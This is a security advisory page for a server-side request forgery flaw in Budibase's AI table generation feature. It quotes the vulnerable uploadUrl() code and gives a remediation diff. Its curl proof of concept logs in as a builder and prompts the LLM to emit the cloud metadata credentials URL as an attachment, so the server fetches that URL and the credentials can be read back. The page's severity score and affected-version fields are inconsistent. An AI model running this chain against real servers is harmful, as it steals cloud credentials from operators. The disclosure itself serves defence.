Skip to content

GHSA-hfhx-w8p8-4hc7 CVE-2026-73307

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Medium npm
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 37.03% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-918 Server-Side Request Forgery (SSRF)
Fix
None yet
No fixed version published

Description

Budibase: SSRF via bare fetch() in uploadUrl during AI table generation

Summary

The uploadUrl() function in packages/server/src/utilities/fileUtils.ts uses a bare fetch(url) call without any SSRF protection. This function is invoked when the AI table generation feature processes LLM-generated attachment column values that are strings (URLs).

A builder-level user can craft prompts that cause the LLM to generate internal IP addresses or cloud metadata endpoints as attachment URLs. When generateRows() calls processAttachments(), these URLs are fetched server-side without blacklist validation, allowing the attacker to reach internal services, cloud metadata APIs (169.254.169.254), or other network-internal resources.

This is a variant of the same class of issue addressed in other Budibase code paths where fetchWithBlacklist() is correctly used to prevent SSRF.

Affected Versions

<= 3.39.0 (current lerna.json version at time of analysis)

Vulnerability Details

Root Cause: uploadUrl() uses bare fetch() without SSRF blacklist check
// packages/server/src/utilities/fileUtils.ts:21-23
export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
    const res = await fetch(url)  // No blacklist validation

This is called from:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:104-114
async function processAttachments(
  entry: Record<string, any>,
  attachmentColumns: FieldSchema[]
) {
  function processAttachment(value: any) {
    if (typeof value === "object") {
      return uploadFile(value)
    }

    return uploadUrl(value)  // String values treated as URLs, fetched without protection
  }

Which is triggered via generateRows() at line 34:

// packages/server/src/sdk/workspace/ai/helpers/rows.ts:34
        await processAttachments(entry, attachmentColumns)
Compare with correct sibling: processUrlFile() in extract.ts
// packages/server/src/automations/steps/ai/extract.ts:139-144
async function processUrlFile(
  fileUrl: string,
  fileType: SupportedFileType,
  llm: LLMResponse
): Promise<ExtractInput> {
  const response = await fetchWithBlacklist(fileUrl)  // Correct: uses blacklist

The fetchWithBlacklist() function validates each URL (including redirects) against a blacklist of internal/private IP ranges before making the request:

// packages/server/src/automations/steps/utils.ts:100-112
export async function fetchWithBlacklist(
  url: string,
  request: RequestInit = {}
): Promise<Response> {
  const maxRedirects = 5
  let nextUrl = url
  // ...
  for (let redirects = 0; redirects <= maxRedirects; redirects++) {
    await throwIfBlacklisted(nextUrl)  // Validates against private IP ranges
    const response = await fetch(nextUrl, nextRequest)

Proof of Concept

Prerequisites: Builder-level authentication, AI feature enabled on the instance.

# Step 1: Authenticate as builder
TOKEN=$(curl -s -X POST 'http://TARGET:10000/api/global/auth/default/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"builder@example.com","password":"password123"}' \
  -c - | grep budibase:auth | awk '{print $NF}')

# Step 2: Create an app with a table that has an attachment column
APP_ID="app_dev_xxxx"  # Use existing app

# Step 3: Use the AI table generation endpoint with a prompt designed to
# produce internal URLs as attachment values.
# The LLM will generate rows with attachment column values pointing to
# internal services.
curl -X POST "http://TARGET:10000/api/workspace/$APP_ID/ai/tables/generate" \
  -H "Content-Type: application/json" \
  -H "Cookie: budibase:auth=$TOKEN" \
  -d '{
    "prompt": "Create a table called Assets with columns: name (string), logo (attachment). Add one row: name=test, logo=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  }'

# The server will call uploadUrl("http://169.254.169.254/latest/meta-data/iam/security-credentials/")
# which fetches the cloud metadata endpoint without any SSRF protection.
# The response content is saved to object storage and a URL is returned in the row data.

# Step 4: Read the created row to exfiltrate the metadata response
curl -X GET "http://TARGET:10000/api/$APP_ID/rows?tableId=<table_id>" \
  -H "Cookie: budibase:auth=$TOKEN"
# The attachment URL in the response points to the saved metadata content

Impact

  • Attacker with builder access can read cloud instance metadata (AWS IAM credentials, GCP service account tokens)
  • Internal service enumeration and data exfiltration from private network resources
  • Port scanning of internal infrastructure via timing/error differences
  • Bypass of network segmentation when Budibase is deployed in a DMZ or VPC

Suggested Remediation

Replace the bare fetch() in uploadUrl() with fetchWithBlacklist():

// packages/server/src/utilities/fileUtils.ts
import fs from "fs"
-import fetch from "node-fetch"
import path from "path"
import { pipeline } from "stream"
import { promisify } from "util"
import * as uuid from "uuid"

import { context, objectStore } from "@budibase/backend-core"
import { Upload } from "@budibase/types"
import { ObjectStoreBuckets } from "../constants"
+import { fetchWithBlacklist } from "../automations/steps/utils"

// ...

export async function uploadUrl(url: string): Promise<Upload | undefined> {
  try {
-    const res = await fetch(url)
+    const res = await fetchWithBlacklist(url)

    const extension = [...res.url.split(".")].pop()!.split("?")[0]

Affected versions

npm

PackageVulnerableFixed in
@budibase/server
<= 3.38.1
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-6x9p-4r67-5gjx
Budibase authenticated arbitrary S3 signed upload URL issuance via `/api/attachments/:datasourceId/url`
High Also affects @budibase/server
GHSA-5fpj-28rv-84r7
Budibase: SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist
High Also affects @budibase/server
GHSA-v42f-v8xc-j435
Budibase: SSRF via DNS rebinding in the REST datasource integration
High Also affects @budibase/server
GHSA-pmpg-2mxq-6xwr
Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete
High Also affects @budibase/server
GHSA-cr7p-cr3q-h5cm
Budibase: Account Enumeration via Login Lockout Response Differential
Medium Also affects @budibase/server
GHSA-pvcr-8mvp-w8qr
Budibase: Chat-Link Handoff Identity Confusion (Same-Tenant Account-Link CSRF)
High Also affects @budibase/server
GHSA-2xgg-r2wc-c5r2
Budibase: MySQL DESCRIBE Backtick Injection via multipleStatements in Database Connector
High Also affects @budibase/server
GHSA-qw6m-8fw2-2v64
Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution
High Also affects @budibase/server
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor